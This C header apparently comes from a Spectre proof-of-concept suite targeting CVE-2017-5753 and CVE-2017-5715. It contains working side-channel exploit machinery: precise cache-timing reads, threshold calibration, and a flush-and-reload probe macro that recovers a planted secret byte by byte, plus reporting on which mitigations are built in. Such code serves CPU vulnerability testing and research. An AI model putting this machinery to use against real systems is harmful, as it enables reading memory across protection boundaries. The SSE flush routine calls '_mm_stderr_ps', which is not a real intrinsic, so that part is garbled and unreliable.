octopus/octopus.h

306 lines
7.7 KiB
C

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <getopt.h>
#include <string.h>
#include <x86intrin.h>
#include <time.h>
#if defined(__OpenBSD__)
#include <sys/time.h>
#elif defined(__linux__)
// From OpenBSD's src/sys/sys/time.h
#define timespecclear(tsp) (tsp)->tv_sec = (tsp)->tv_nsec = 0
#define timespecadd(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec + (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec + (usp)->tv_nsec;\
if ((vsp)->tv_nsec >= 1000000000L) {\
(vsp)->tv_sec++;\
(vsp)->tv_nsec -= 1000000000L;\
}\
} while (0)
#define timespecsub(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\
if ((vsp)->tv_nsec < 0) {\
(vsp)->tv_sec--;\
(vsp)->tv_nsec += 1000000000L;\
}\
} while (0)
#endif
#if defined(__amd64__)
#define CACHELINE_SIZE 64
#else
#error "Unsupported architecture. amd64 is required."
#endif
#if !defined(__SSE__)
#error "Unsupported platform. SSE is required."
#endif
#if defined(__SSE__) && !defined(__SSE2__)
#define NORDTSCP
#define NOMFENCE
#define NOCLFLUSH
#define LATENCY 18 + 18
#endif
#ifndef NORDTSCP
#define LATENCY 42 + 42
#else
#ifndef NOMFENCE
#define LATENCY 18 + 18
#endif
#endif
#ifndef REVISION
#define REVISION "unknown"
#endif
#if OCTOPUS_STRAIN == 1
#define CVE "CVE-2017-5753"
#ifdef MASKING_MITIGATION
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
*
* array_index_mask_nospec() - generate a mask that is ~0UL when the
* bounds check succeeds and 0 otherwise
* @index: array element index
* @size: number of elements in array
*
* Returns:
* 0 - (index < size)
*/
static inline unsigned long
octopus_array_index_mask_nospec(unsigned long index, unsigned long size)
{
unsigned long mask;
__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"
:"=r" (mask)
:"g"(size),"r" (index)
:"cc");
return mask;
}
#endif //MASKING_MITIGATION
#ifdef NOCLFLUSH
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
/* Flush memory using long SSE instructions */
void
octopus_flush_memory_sse(uint8_t * addr)
{
float* p = (float *)addr;
float c = 0.f;
__m128 i = _mm_setr_ps(c, c, c, c);
int k, l;
/* Non-sequential memory addressing by looping through k by l */
for (k = 0; k < 4; k++)
for (l = 0; l < 4; l++)
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
}
#endif //NOCLFLUSH
#endif // OCTOPUS_STRAIN 1
#if OCTOPUS_STRAIN == 2
#define CVE "CVE-2017-5715"
#endif // OCTOPUS_STRAIN 2
#define GAP 512
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
struct timespec total_cpu_time, cpu_time, cpu_start, cpu_end;
#define __OCTOPUS_ARGS__\
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
switch (o) {\
case 't':\
cache_hit_threshold = atoi(optarg);\
break;\
case 'j':\
json++;\
break;\
default:\
usage:\
fprintf(stderr, "usage: %s [-j] "\
"[-t threshold]\n"\
"\t-j\t\tJSON output\n"\
"\t-t INT\t\tfixed threshold\n", argv[0]);\
return 1;\
}\
}\
if (argc != optind) {\
goto usage;\
}
#define __OCTOPUS_TIMINGS__\
/* Time reads. Order is lightly mixed up to prevent stride prediction */\
for (i = 0; i < 256; i++) {\
mix_i = ((i * 167) + 13) & 255;\
addr = & channel[mix_i * GAP];\
if (octopus_timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
results[mix_i]++; /* cache hit - add +1 to score for this value */\
}\
}\
/* Locate highest results in j */\
j = -1;\
for (i = 0; i < 256; i++) {\
if (j < 0 || results[i] >= results[j]) {\
j = i;\
}\
}\
if (results[j] >= 3) {\
break;\
}
#define __OCTOPUS_NOCLFLUSH_INIT__\
int junk2 = 0;\
int l;\
(void)junk2;
static inline unsigned
octopus_timed_access(volatile uint8_t *addr)
{
uint64_t t0, t1;
#pragma GCC diagnostic ignored "-Wuninitialized"
unsigned int junk = junk;
#ifndef NORDTSCP
t0 = __rdtscp(& junk);
junk |= *addr;
t1 = __rdtscp(& junk);
#else
#ifndef NOMFENCE
/*
Since the rdstc instruction isn't serialized, newer processors will try to
reorder it, ruining its value as a timing mechanism.
To get around this, we use the mfence instruction to introduce a memory
barrier and force serialization. mfence is used because it is portable across
Intel and AMD.
*/
_mm_mfence();
t0 = __rdtsc();
_mm_mfence();
junk = *addr;
_mm_mfence();
t1 = __rdtsc();
_mm_mfence();
#else
/*
The mfence instruction was introduced with the SSE2 instruction set, so
we have to ifdef it out on pre-SSE2 processors.
Luckily, these older processors don't seem to reorder the rdtsc instruction,
so not having mfence on older processors is less of an issue.
*/
t0 = __rdtsc();
junk |= *addr;
t1 = __rdtsc();
#endif // NOMFENCE
#endif // NORDTSCP
return (unsigned)(t1 - t0 - LATENCY);
}
static void
octopus_calibrate_threshold(unsigned int *threshold)
{
volatile char buf[2 * CACHELINE_SIZE];
volatile uint8_t* bufp;
int i;
const int cnt = 10000;
uint64_t tcache = 0;
__attribute__((unused))
volatile int junk = 0;
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINE_SIZE) & ~(CACHELINE_SIZE - 1)));
junk |= *bufp;
for (i = 0, tcache = 0; i < cnt; i++) {
tcache += octopus_timed_access(bufp);
}
tcache = tcache / cnt;
if (threshold != NULL) {
*threshold = tcache + LATENCY;
}
return;
}
void
octopus_to_json(char** argv, int successes, struct timespec* total_cpu_time) {
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
#ifndef NORDTSCP
printf("\"rdtscp\": true, ");
#else
printf("\"rdtscp\": false, ");
#endif
#ifndef NOMFENCE
printf("\"mfence\": true, ");
#else
printf("\"mfence\": false, ");
#endif
#ifndef NOCLFLUSH
printf("\"clflush\": true ");
#else
printf("\"clflush\": false ");
#endif
#if OCTOPUS_STRAIN == 1
printf("}, \"mitigations\": { ");
#ifdef LFENCE_MITIGATION
printf("\"lfence\": true, ");
#else
printf("\"lfence\": false, ");
#endif
#ifdef MASKING_MITIGATION
printf("\"masking\": true ");
#else
printf("\"masking\": false ");
#endif
#endif // OCTOPUS_STRAIN == 1
printf("}, ");
printf("\"revision\": \"%s\", ", REVISION);
printf("\"cpu_time\": %lld.%09ld, ", (long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec);
printf("\"threshold\": %d, ", cache_hit_threshold);
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
}
void
octopus_header_line(char** argv, char* secret) {
fprintf(stderr, "[+] %s rev %s leaking %d bytes with %s:\n[?] ", argv[0] + 2, REVISION, (int)strlen(secret), CVE);
}
void
octopus_result_line(char** argv, int successes, struct timespec* total_cpu_time) {
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
#ifndef NORDTSCP
fprintf(stderr, "RDTSCP ");
#else
fprintf(stderr, "RDTSC ");
#endif
#ifndef NOMFENCE
fprintf(stderr, "MFENCE ");
#endif
#ifndef NOCLFLUSH
fprintf(stderr, "CLFLUSH ");
#endif
#if OCTOPUS_STRAIN == 1
#ifdef LFENCE_MITIGATION
fprintf(stderr, "LFENCE_MITIGATION ");
#endif
#ifdef MASKING_MITIGATION
fprintf(stderr, "MASKING_MITIGATION ");
#endif
#endif // OCTOPUS_STRAIN == 1
fprintf(stderr, "\tcpu_time %lld.%09ld s\tthreshold %-3d\tsuccess %3.0f %%\n",
(long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec, cache_hit_threshold, 100 * successes / (float)strlen(secret));
}